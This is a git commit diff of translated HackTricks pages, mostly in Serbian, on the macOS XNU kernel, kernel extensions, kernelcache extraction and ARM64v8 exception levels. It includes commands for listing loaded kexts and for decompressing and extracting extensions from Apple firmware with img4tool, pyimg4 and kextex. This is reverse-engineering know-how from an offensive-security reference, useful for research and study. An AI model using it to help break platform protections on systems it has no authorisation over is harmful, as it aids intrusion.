Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-09-25 23:57:32 +00:00
parent 98bd18ab3e
commit 6daacbb356
5 changed files with 452 additions and 418 deletions

View file

@ -1,166 +1,97 @@
# macOS Kernel & Sistemski ekstenzije
# macOS Kernel & System Extensions
{% hint style="success" %}
Naučite i vežbajte AWS hakovanje:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Naučite i vežbajte GCP hakovanje: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## XNU Kernel
**Srce macOS-a je XNU**, što označava "X is Not Unix". Ovaj kernel je suštinski sastavljen od **Mach mikrokernela** (o kojem će biti reči kasnije), **i** elemenata iz Berkeley Software Distribution (**BSD**). XNU takođe pruža platformu za **kernel drivere putem sistema nazvanog I/O Kit**. XNU kernel je deo Darwin open source projekta, što znači da je **njegov izvorni kod slobodno dostupan**.
**Osnova macOS-a je XNU**, što znači "X nije Unix". Ovaj kernel se fundamentalno sastoji od **Mach mikrokerne**la (o čemu će biti reči kasnije), **i** elemenata iz Berkeley Software Distribution (**BSD**). XNU takođe pruža platformu za **kernel drajvere putem sistema nazvanog I/O Kit**. XNU kernel je deo Darwin open source projekta, što znači da je **njegov izvorni kod slobodno dostupan**.
Sa stanovišta istraživača bezbednosti ili Unix programera, **macOS** može delovati prilično **slično** FreeBSD sistemu sa elegantnim grafičkim korisničkim interfejsom i nizom prilagođenih aplikacija. Većina aplikacija razvijenih za BSD će se kompajlirati i pokrenuti na macOS-u bez potrebe za modifikacijama, jer su alati komandne linije poznati Unix korisnicima prisutni u macOS-u. Međutim, zbog toga što XNU kernel inkorporira Mach, postoje značajne razlike između tradicionalnog Unix-sličnog sistema i macOS-a, a ove razlike mogu izazvati potencijalne probleme ili pružiti jedinstvene prednosti.
Iz perspektive istraživača bezbednosti ili Unix programera, **macOS** može delovati prilično **slično** **FreeBSD** sistemu sa elegantnim GUI-jem i mnoštvom prilagođenih aplikacija. Većina aplikacija razvijenih za BSD će se kompajlirati i raditi na macOS-u bez potrebe za modifikacijama, jer su svi komandno-linijski alati poznati korisnicima Unixa prisutni u macOS-u. Međutim, pošto XNU kernel uključuje Mach, postoje neke značajne razlike između tradicionalnog Unix-sličnog sistema i macOS-a, a te razlike mogu izazvati potencijalne probleme ili pružiti jedinstvene prednosti.
Izvorni kod XNU-a: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
Open source verzija XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach je **mikrokernel** dizajniran da bude **kompatibilan sa UNIX-om**. Jedan od njegovih ključnih dizajnerskih principa bio je da **minimalizuje** količinu **koda** koji se izvršava u **kernel** prostoru i umesto toga omogući mnogim tipičnim funkcijama kernela, poput sistema za datoteke, mreženja i I/O, da se **izvršavaju kao zadaci na nivou korisnika**.
Mach je **mikrokerne**l dizajniran da bude **UNIX-kompatibilan**. Jedno od njegovih ključnih dizajnerskih načela bilo je da **minimizuje** količinu **koda** koji se izvršava u **kernel** prostoru i umesto toga dozvoli mnogim tipičnim kernel funkcijama, kao što su sistem datoteka, umrežavanje i I/O, da **rade kao korisnički zadaci**.
U XNU-u, Mach je **odgovoran za mnoge kritične operacije na niskom nivou** koje kernel obično obavlja, poput raspoređivanja procesora, multitaskinga i upravljanja virtuelnom memorijom.
U XNU, Mach je **odgovoran za mnoge kritične niskonivo operacije** koje kernel obično obrađuje, kao što su planiranje procesora, multitasking i upravljanje virtuelnom memorijom.
### BSD
XNU **kernel** takođe **inkorporira** značajnu količinu koda koji potiče iz projekta **FreeBSD**. Ovaj kod **se izvršava kao deo kernela zajedno sa Mach-om**, u istom adresnom prostoru. Međutim, FreeBSD kod unutar XNU-a može biti značajno različit od originalnog FreeBSD koda jer su bile potrebne modifikacije kako bi se osigurala njegova kompatibilnost sa Mach-om. FreeBSD doprinosi mnogim operacijama kernela uključujući:
XNU **kernel** takođe **uključuje** značajnu količinu koda izvedenog iz **FreeBSD** projekta. Ovaj kod **radi kao deo kernela zajedno sa Mach-om**, u istom adresnom prostoru. Međutim, FreeBSD kod unutar XNU može se značajno razlikovati od originalnog FreeBSD koda jer su modifikacije bile potrebne da bi se osigurala njegova kompatibilnost sa Mach-om. FreeBSD doprinosi mnogim kernel operacijama uključujući:
* Upravljanje procesima
* Obrada signala
* Osnovni mehanizmi bezbednosti, uključujući upravljanje korisnicima i grupama
* Osnovni bezbednosni mehanizmi, uključujući upravljanje korisnicima i grupama
* Infrastruktura sistemskih poziva
* TCP/IP stek i soketi
* Firewall i filtriranje paketa
Razumevanje interakcije između BSD-a i Mach-a može biti kompleksno, zbog njihovih različitih konceptualnih okvira. Na primer, BSD koristi procese kao svoje osnovne izvršne jedinice, dok Mach operiše na osnovu niti. Ova razlika je usklađena u XNU-u tako što se **svaki BSD proces povezuje sa Mach zadatkom** koji sadrži tačno jednu Mach nit. Kada se koristi BSD-ov fork() sistemski poziv, BSD kod unutar kernela koristi Mach funkcije za kreiranje strukture zadatka i niti.
Razumevanje interakcije između BSD-a i Mach-a može biti složeno, zbog njihovih različitih konceptualnih okvira. Na primer, BSD koristi procese kao svoju osnovnu izvršnu jedinicu, dok Mach funkcioniše na osnovu niti. Ova razlika se pomiruje u XNU tako što se **svakom BSD procesu pridružuje Mach zadatak** koji sadrži tačno jednu Mach nit. Kada se koristi BSD-ov fork() sistemski poziv, BSD kod unutar kernela koristi Mach funkcije za kreiranje zadatka i strukture niti.
Štaviše, **Mach i BSD održavaju različite modele bezbednosti**: **Mach-ov** model bezbednosti se zasniva na **pravima porta**, dok BSD-ov model bezbednosti funkcioniše na osnovu **vlasništva procesa**. Dispariteti između ova dva modela ponekad su rezultirali ranjivostima lokalnog eskaliranja privilegija. Osim tipičnih sistemskih poziva, postoje i **Mach zamke koje omogućavaju programima na nivou korisnika da interaguju sa kernelom**. Ovi različiti elementi zajedno čine složenu, hibridnu arhitekturu macOS kernela.
Štaviše, **Mach i BSD svaki održavaju različite bezbednosne modele**: **Mach-ov** bezbednosni model se zasniva na **pravima portova**, dok BSD-ov bezbednosni model funkcioniše na osnovu **vlasništva procesa**. Razlike između ova dva modela su povremeno rezultirale lokalnim ranjivostima za eskalaciju privilegija. Pored tipičnih sistemskih poziva, postoje i **Mach zamke koje omogućavaju programima u korisničkom prostoru da komuniciraju sa kernelom**. Ovi različiti elementi zajedno čine složenu, hibridnu arhitekturu macOS kernela.
### I/O Kit - Drajveri
I/O Kit je open-source, objektno orijentisani **framework za drajvere uređaja** u XNU kernelu, koji rukuje **dinamički učitanim drajverima uređaja**. Omogućava dodavanje modularnog koda u kernel "on-the-fly", podržavajući različit hardver.
I/O Kit je open-source, objektno-orijentisani **okvir za drajvere uređaja** u XNU kernelu, koji upravlja **dinamički učitanim drajverima uređaja**. Omogućava dodavanje modularnog koda u kernel u hodu, podržavajući raznovrsni hardver.
{% content-ref url="macos-iokit.md" %}
[macos-iokit.md](macos-iokit.md)
{% endcontent-ref %}
### IPC - Međuprocesna komunikacija
### IPC - Inter Process Communication
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
### Kernelcache
## macOS Kernel Extensions
**Kernelcache** je **prekompajlirana i prelinkovana verzija XNU kernela**, zajedno sa bitnim drajverima uređaja i kernel ekstenzijama. Čuva se u **kompresovanom** formatu i dekompresuje u memoriju tokom procesa pokretanja. Kernelcache omogućava **brže vreme pokretanja** imajući spremnu verziju kernela i ključnih drajvera, smanjujući vreme i resurse koji bi inače bili potrošeni na dinamičko učitavanje i povezivanje ovih komponenti tokom pokretanja.
macOS je **super restriktivan za učitavanje Kernel Extensions** (.kext) zbog visokih privilegija sa kojima će kod raditi. U stvari, po defaultu je praktično nemoguće (osim ako se ne pronađe zaobilaženje).
Na iOS-u se nalazi u **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, a na macOS-u ga možete pronaći sa **`find / -name kernelcache 2>/dev/null`** ili **`mdfind kernelcache | grep kernelcache`**
Moguće je pokrenuti **`kextstat`** da proverite učitane kernel ekstenzije.
#### IMG4
IMG4 format datoteke je kontejnerski format koji koristi Apple u svojim iOS i macOS uređajima za sigurno **čuvanje i proveru firmware** komponenti (poput **kernelcache**). IMG4 format uključuje zaglavlje i nekoliko oznaka koje obuhvataju različite delove podataka uključujući stvarni payload (kao što je kernel ili bootloader), potpis, i skup manifestnih svojstava. Format podržava kriptografsku verifikaciju, omogućavajući uređaju da potvrdi autentičnost i integritet firmware komponente pre nego što je izvrši.
Obično je sastavljen od sledećih komponenti:
* **Payload (IM4P)**:
* Često kompresovan (LZFSE4, LZSS, …)
* Opciono enkriptovan
* **Manifest (IM4M)**:
* Sadrži potpis
* Dodatni rečnik Ključ/Vrednost
* **Informacije o obnovi (IM4R)**:
* Takođe poznato kao APNonce
* Sprječava ponovno izvođenje nekih ažuriranja
* OPCIONALNO: Obično se ovo ne nalazi
Dekompresujte Kernelcache:
```bash
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
#### Simboli kernel keša
Ponekad Apple objavljuje **kernel keš** sa **simbolima**. Možete preuzeti neke firmvere sa simbolima prateći linkove na [https://theapplewiki.com](https://theapplewiki.com/).
### IPSW
Ovo su Apple **firmveri** koje možete preuzeti sa [**https://ipsw.me/**](https://ipsw.me/). Pored ostalih datoteka, sadržaće **kernel keš**.\
Da biste **izvukli** datoteke, jednostavno ih **raspakujte**.
Nakon izdvajanja firmvera dobićete datoteku poput: **`kernelcache.release.iphone14`**. U **IMG4** formatu, možete izvući zanimljive informacije pomoću:
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
{% code overflow="wrap" %}
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
{% endcode %}
* [**img4tool**](https://github.com/tihmstar/img4tool)
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
Možete proveriti izvučeni kernelcache za simbole pomoću: **`nm -a kernelcache.release.iphone14.e | wc -l`**
Sada možemo **izvući sve ekstenzije** ili **onu koja vas zanima:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
## Extract com.apple.security.sandbox
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
# Extract all
kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## macOS Kernel ekstenzije
macOS je **izuzetno restriktivan kada je u pitanju učitavanje Kernel ekstenzija** (.kext) zbog visokih privilegija pod kojima će se kod izvršavati. Zapravo, podrazumevano je praktično nemoguće (osim ako se ne pronađe zaobilaznica).
Na sledećoj stranici možete takođe videti kako da povratite `.kext` koji macOS učitava unutar svog **kernelcache**:
{% content-ref url="macos-kernel-extensions.md" %}
[macos-kernel-extensions.md](macos-kernel-extensions.md)
{% endcontent-ref %}
### macOS Sistem ekstenzije
### macOS System Extensions
Umesto korišćenja Kernel ekstenzija, macOS je kreirao Sistem ekstenzije, koje pružaju API-je na nivou korisnika za interakciju sa kernelom. Na ovaj način, programeri mogu izbeći korišćenje kernel ekstenzija.
Umesto korišćenja Kernel Extensions, macOS je stvorio System Extensions, koje nude API-je na korisničkom nivou za interakciju sa kernelom. Na ovaj način, programeri mogu da izbegnu korišćenje kernel ekstenzija.
{% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md)
{% endcontent-ref %}
## Reference
## References
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
{% hint style="success" %}
Učite i vežbajte hakovanje AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte hakovanje GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# macOS Kernel Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,11 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
Kernel ekstenzije (Kexts) su **paketi** sa **`.kext`** ekstenzijom koji se **učitavaju direktno u macOS kernel prostor**, pružajući dodatnu funkcionalnost glavnom operativnom sistemu.
Kernel extensions (Kexts) su **paketi** sa **`.kext`** ekstenzijom koji se **učitavaju direktno u macOS kernel prostor**, pružajući dodatnu funkcionalnost glavnom operativnom sistemu.
### Zahtevi
### Requirements
Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju**. Ovo su **zahtevi** koje kernel ekstenzija mora ispuniti da bi bila učitana:
@ -33,11 +33,11 @@ Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju
* Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji koja nije root**: `/Library/StagedExtensions` (zahteva `com.apple.rootless.storage.KernelExtensionManagement` dozvolu).
* Na kraju, kada se pokuša učitati, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) i, ako bude prihvaćen, računar mora biti **ponovo pokrenut** da bi se učitao.
### Proces učitavanja
### Loading process
U Catalina je to bilo ovako: Zanimljivo je napomenuti da se **proceso verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa **`com.apple.private.security.kext-management`** dozvolom mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
U Catalini je to izgledalo ovako: Zanimljivo je napomenuti da se **proceso verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa **`com.apple.private.security.kext-management`** dozvolom mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **pokreće** **proces verifikacije** za učitavanje ekstenzije
1. **`kextutil`** cli **pokreće** **proceso verifikacije** za učitavanje ekstenzije
* Razgovaraće sa **`kextd`** slanjem putem **Mach servisa**.
2. **`kextd`** će proveriti nekoliko stvari, kao što su **potpis**
* Razgovaraće sa **`syspolicyd`** da bi **proverio** da li se ekstenzija može **učitati**.
@ -47,22 +47,119 @@ U Catalina je to bilo ovako: Zanimljivo je napomenuti da se **proceso verifikaci
Ako **`kextd`** nije dostupan, **`kextutil`** može izvršiti iste provere.
## Reference
### Enumeration (loaded kexts)
```bash
# Get loaded kernel extensions
kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
{% hint style="danger" %}
Iako se očekuje da su kernel ekstenzije u `/System/Library/Extensions/`, ako odete u ovu fasciklu **nećete pronaći nijedan binarni** fajl. To je zbog **kernelcache** i da biste obrnuli jedan `.kext` potrebno je da pronađete način da ga dobijete.
{% endhint %}
**Kernelcache** je **prekompajlirana i prelinkovana verzija XNU kernela**, zajedno sa osnovnim uređajskim **drajverima** i **kernel ekstenzijama**. Čuva se u **kompresovanom** formatu i dekompresuje se u memoriju tokom procesa pokretanja. Kernelcache omogućava **brže vreme pokretanja** tako što ima spremnu verziju kernela i ključnih drajvera, smanjujući vreme i resurse koji bi inače bili potrošeni na dinamičko učitavanje i povezivanje ovih komponenti prilikom pokretanja.
### Lokalni Kernelcache
U iOS-u se nalazi u **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, u macOS-u ga možete pronaći sa: **`find / -name "kernelcache" 2>/dev/null`** \
U mom slučaju u macOS-u pronašao sam ga u:
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
IMG4 format fajla je kontejnerski format koji koristi Apple u svojim iOS i macOS uređajima za sigurno **čuvanje i verifikaciju firmware** komponenti (kao što je **kernelcache**). IMG4 format uključuje zaglavlje i nekoliko oznaka koje obuhvataju različite delove podataka uključujući stvarni payload (kao što je kernel ili bootloader), potpis i skup manifest svojstava. Format podržava kriptografsku verifikaciju, omogućavajući uređaju da potvrdi autentičnost i integritet firmware komponente pre nego što je izvrši.
Obično se sastoji od sledećih komponenti:
* **Payload (IM4P)**:
* Često kompresovan (LZFSE4, LZSS, …)
* Opcionalno enkriptovan
* **Manifest (IM4M)**:
* Sadrži potpis
* Dodatni ključ/vrednost rečnik
* **Restore Info (IM4R)**:
* Takođe poznat kao APNonce
* Sprečava ponavljanje nekih ažuriranja
* OPCIONALNO: Obično se ovo ne nalazi
Dekomprimujte Kernelcache:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Preuzimanje&#x20;
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
Na [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) je moguće pronaći sve kernel debug kitove. Možete ga preuzeti, montirati, otvoriti pomoću alata [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), pristupiti **`.kext`** folderu i **izvući ga**.
Proverite ga za simbole sa:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
Ponekad Apple objavljuje **kernelcache** sa **simbolima**. Možete preuzeti neke firmvere sa simbolima prateći linkove na tim stranicama. Firmveri će sadržati **kernelcache** među ostalim datotekama.
Da **izvucite** datoteke, počnite tako što ćete promeniti ekstenziju sa `.ipsw` na `.zip` i **raspakovati** je.
Nakon vađenja firmvera dobićete datoteku poput: **`kernelcache.release.iphone14`**. U **IMG4** formatu, možete izvući zanimljive informacije sa:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
{% code overflow="wrap" %}
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
{% endcode %}
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Inspecting kernelcache
Proverite da li kernelcache ima simbole sa
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
Sa ovim možemo sada **izvući sve ekstenzije** ili **onu koja vas zanima:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
## Extract com.apple.security.sandbox
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
# Extract all
kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## Referencije
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,275 +1,272 @@
# Uvod u ARM64v8
# Увод у ARM64v8
{% hint style="success" %}
Naučite i vežbajte hakovanje AWS-a:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Naučite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Учите и практикујте AWS хаковање:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Учите и практикујте GCP хаковање: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Подржите HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Проверите [**планове претплате**](https://github.com/sponsors/carlospolop)!
* **Придружите се** 💬 [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**telegram групи**](https://t.me/peass) или **пратите** нас на **Твитеру** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поделите хакерске трикове подношењем PR-ова на** [**HackTricks**](https://github.com/carlospolop/hacktricks) и [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторијима.
</details>
{% endhint %}
## **Nivoi izuzetaka - EL (ARM64v8)**
## **Нивои изузетака - EL (ARM64v8)**
U ARMv8 arhitekturi, nivoi izvršenja, poznati kao Nivoi izuzetaka (ELs), definišu nivo privilegija i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, pri čemu svaki služi različitoj svrsi:
У ARMv8 архитектури, нивои извршења, познати као нивои изузетака (EL), дефинишу ниво привилегија и способности извршног окружења. Постоје четири нивоа изузетака, од EL0 до EL3, од којих сваки служи различитој сврси:
1. **EL0 - Korisnički režim**:
* Ovo je nivo sa najmanje privilegija i koristi se za izvršavanje redovnog aplikativnog koda.
* Aplikacije koje se izvršavaju na EL0 su izolovane jedna od druge i od sistemskog softvera, što poboljšava bezbednost i stabilnost.
2. **EL1 - Režim jezgra operativnog sistema**:
* Većina jezgara operativnih sistema radi na ovom nivou.
* EL1 ima više privilegija od EL0 i može pristupiti sistemskim resursima, ali uz određena ograničenja radi očuvanja integriteta sistema.
3. **EL2 - Režim hipervizora**:
* Ovaj nivo se koristi za virtualizaciju. Hipervizor koji radi na EL2 može upravljati sa više operativnih sistema (svaki u svom EL1) koji se izvršavaju na istom fizičkom hardveru.
* EL2 pruža funkcije za izolaciju i kontrolu virtualizovanih okruženja.
